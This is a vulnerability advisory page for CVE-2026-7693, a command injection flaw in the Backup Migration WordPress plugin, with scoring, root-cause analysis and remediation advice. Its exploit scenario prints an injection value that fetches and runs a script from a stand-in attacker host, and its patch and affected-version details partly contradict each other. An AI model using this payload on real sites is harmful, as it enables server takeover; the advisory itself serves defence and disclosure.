Skip to main content

Backup Migration EUVDEUVD-2026-53182

| CVE-2026-7693 HIGH
Command Injection (CWE-77)
2026-08-05 Wordfence GHSA-982q-x59v-3xjj
7.2
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise WordPress admin credentials
  2. Delivery
    Authenticate to WordPress admin session
  3. Exploit
    POST crafted `file` parameter with shell metacharacters to restoreBackup() handler
  4. Execution
    esc_attr() fails to strip metacharacters from payload
  5. Persist
    exec() executes injected OS command as web-server user
  6. Impact
    Achieve arbitrary command execution on host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated session with WordPress Administrator-level privileges OR any user account that has been explicitly granted the plugin's custom do_backups capability. The Backup Migration plugin must be installed and active on the target WordPress site. The vulnerable code path is specifically the restoreBackup() AJAX handler in includes/ajax.php, triggered via a POST request to wp-admin/admin-ajax.php. No special server configuration beyond the plugin being active is required. What limits exploitation: the PR:H requirement means an attacker cannot exploit this without first compromising an administrative account; unauthenticated or subscriber/editor-level users cannot reach this handler. The scope is also limited to the web-server user's OS privileges - privilege escalation beyond that would require a separate local exploit.

Impact

The CVSS 3.1 score of 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) accurately characterizes a high-severity but access-gated vulnerability. The network attack vector with low complexity and no user interaction means exploitation is technically trivial once the prerequisite access is met, but PR:H (high privileges) is the critical limiting factor: an attacker must already control a WordPress administrator account or possess the non-default do_backups capability before they can reach this code path. This substantially narrows the realistic threat surface. No EPSS score was supplied in the input data, so exploitation probability cannot be quantified here. The vulnerability is not listed in the CISA KEV catalog and no POC code has been identified at time of analysis, indicating no confirmed in-the-wild activity. The most concerning aspect is the bypass of WordPress hardening constants DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS: site owners who believe those constants prevent code execution from the admin panel are exposed to a wider impact than they expect. Compromise of an administrator account - whether via credential stuffing, phishing, or another plugin vulnerability - could chain directly into OS-level compromise.

Exploit ScenarioDerived

An attacker who has obtained valid WordPress administrator credentials - through credential stuffing, phishing, or lateral movement from a compromised account - sends a crafted POST request to the site's wp-admin/admin-ajax.php endpoint targeting the restoreBackup() handler, with the file parameter set to a value such as valid_backup.zip; curl http://attacker.com/shell.sh | bash. Because esc_attr() does not strip the semicolon or pipe, exec() executes the injected command chain as the web-server user (e.g., www-data), granting remote OS access even on hardened WordPress instances with DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS defined.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 2.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

OS command injection in the Backup Migration WordPress plugin (all versions through 2.1.5.1) allows authenticated attackers holding Administrator-level access - or any user granted the plugin's custom do_backups capability - to execute arbitrary operating-system commands as the web-server user. The flaw stems from misuse of esc_attr(), an HTML sanitizer, as a shell sanitizer in the restoreBackup() AJAX handler, enabling shell metacharacter injection into an exec() call. This represents an incomplete remediation of CVE-2023-7002; the equivalent fix applied to handleQuickMigration() was never ported to the $backupName variable path. No public exploit has been identified at time of analysis, and the vulnerability is not listed in the CISA KEV catalog.

RemediationAI

Upgrade to Backup Migration version 2.1.5.2, which is confirmed by the WordPress plugin changeset at https://plugins.trac.wordpress.org/changeset?new=3540041%40backup-backup%2Ftags%2F2.1.5.2&old=3512153%40backup-backup%2Ftags%2F2.1.5.1; note that the fix version is inferred from this upstream commit changeset and has not been independently confirmed via a separate vendor security advisory. The correct fix pattern, already applied to handleQuickMigration() in CVE-2023-7002, is to apply rawurlencode(), explicitly strip remaining shell metacharacters, and double-quote all arguments passed to exec(). As a compensating control prior to patching, administrators can deactivate the Backup Migration plugin entirely and use an alternative backup solution, accepting the loss of backup/restore functionality. Restricting WordPress administrator account access - enforcing strong passwords, enabling MFA, and auditing which users hold the do_backups capability - materially reduces the exploitability of this flaw since PR:H is the binding precondition. Web application firewalls can be configured to block POST requests to the restoreBackup AJAX action (action=bmi_restore_backup or equivalent), though WAF bypasses for command injection payloads are common and this should not be treated as a primary control.

Affected VersionsENISA

Backup Migration 0 ≤2.1.1

Affected Packages

euvd backup_migration no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the restoreBackup() AJAX handler within includes/ajax.php (confirmed at lines 3019-3025 and 3422/3444 of the 2.1.5.1 tag). The handler retrieves a file value from $_POST, applies WordPress's esc_attr() function - which encodes HTML special characters such as <, >, and " but leaves shell metacharacters like ;, |, ` `, $(), and & intact - and then concatenates the unsanitized result, without quoting, into a shell string of the form php-cli -f … bmi_restore <file> <remote> passed directly to PHP's exec(). CWE-77 (Improper Neutralization of Special Elements used in a Command) precisely describes this root cause: the application passes data to a downstream shell component without properly neutralizing elements that could alter the intended command. CVE-2023-7002 had already exposed the same pattern in the $_POST['url'] path of handleQuickMigration(), where the fix applied rawurlencode(), explicit shell-metacharacter stripping, and double-quoting around the argument in exec(). Those mitigations were never backported to the $backupName code path. The CPE cpe:2.3:a:inisev:backup_migration:*:*:*:*:*:*:*:*` confirms Inisev's plugin as the sole affected product.

Know when Backup Migration gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 7.2 HIGH
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.2 HIGH

AV:N because the AJAX handler is remotely invocable; PR:H because Administrator or do_backups capability is a hard prerequisite; S:U because command execution is bounded to the web-server user with no cross-scope pivot described.

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

The Backup Migration plugin for WordPress is vulnerable to OS Command Injection in all versions up to, and including, 2.1.5.1 due to insufficient sanitization of the file POST parameter on the restoreBackup() AJAX handler. The handler applies esc_attr() - an HTML-context sanitizer that does not strip shell metacharacters - and concatenates the result, unquoted, into a php-cli -f … bmi_restore <file> <remote> command passed to exec(). This makes it possible for authenticated attackers, with Administrator-level access (or any user granted the plugin's do_backups capability) and above, to execute arbitrary OS commands as the web-server user, bypassing WordPress hardening constants such as DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS that would otherwise prevent code execution from the admin UI. This is an incomplete fix of CVE-2023-7002, which patched the same pattern only in the $_POST['url'] path of handleQuickMigration(); the equivalent mitigations (rawurlencode() + explicit shell-metachar replacement + double-quoting in exec()) were never applied to $backupName.

Executive ViewAI

Why It Matters

The Backup Migration WordPress plugin (versions through 2.1.5.1) contains an OS command injection vulnerability allowing authenticated users with Administrator access or the custom 'do_backups' capability to execute arbitrary system commands on your web server, with no public exploit identified at time of analysis. This represents an incomplete remediation of CVE-2023-7002 and poses significant risk to server integrity and sensitive backup data. With no vendor-released patch available, immediate action is required to restrict access and implement protective controls.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Deploy: (1) restrict 'do_backups' capability to authenticated users with explicit business justification and quarterly access reviews; (2) enforce Administrator-level access to only trusted personnel; (3) implement WAF rules to monitor, log, and rate-limit backup restoration endpoints; (4) configure the web server process runtime to execute with minimal file system and system call privileges; (5) enable real-time audit logging of all command execution attempts within the web server process; (6) conduct weekly log reviews of backup restoration activity and user capability changes; (7) evaluate disabling the plugin entirely if backup restoration is not operationally critical to business continuity.

Threat Intelligence Overview

EPSS Score
2.2%
Top 19% exploitable
Prevalence
Medium
popular WordPress backup plugin, widely used but not ubiquitous
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 2.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2023-6266 HIGH POC
7.5 Jan 11

The Backup Migration plugin for WordPress is vulnerable to unauthorized access of data due to insufficient path and file

CVE-2023-7002 HIGH POC
7.2 Dec 23

The Backup Migration plugin for WordPress is vulnerable to OS Command Injection in all versions up to, and including, 1.

CVE-2023-6271 HIGH POC
7.5 Jan 01

The Backup Migration WordPress plugin before 1.3.6 stores in-progress backups information in easy to find, publicly-acce

CVE-2023-6972 CRITICAL
9.8 Dec 23

The Backup Migration plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.3.9 vi

CVE-2023-6971 CRITICAL
9.8 Dec 23

The Backup Migration plugin for WordPress is vulnerable to Remote File Inclusion in versions 1.0.8 to 1.3.9 via the 'con

CVE-2023-3977 MEDIUM POC
4.3 Jul 28

Several plugins for WordPress by Inisev are vulnerable to Cross-Site Request Forgery to unauthorized installation of plu

CVE-2026-39480 HIGH
7.5 Jun 15

Unauthenticated sensitive data exposure in the Inisev Backup Migration WordPress plugin (versions through 2.1.1) allows

CVE-2021-36884 MEDIUM
5.4 Nov 19

Authenticated Persistent Cross-Site Scripting (XSS) vulnerability discovered in WordPress Backup Migration plugin <= 1.1

CVE-2023-0958 MEDIUM
4.3 Jul 28

Several plugins for WordPress by Inisev are vulnerable to unauthorized installation of plugins due to a missing capabili

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy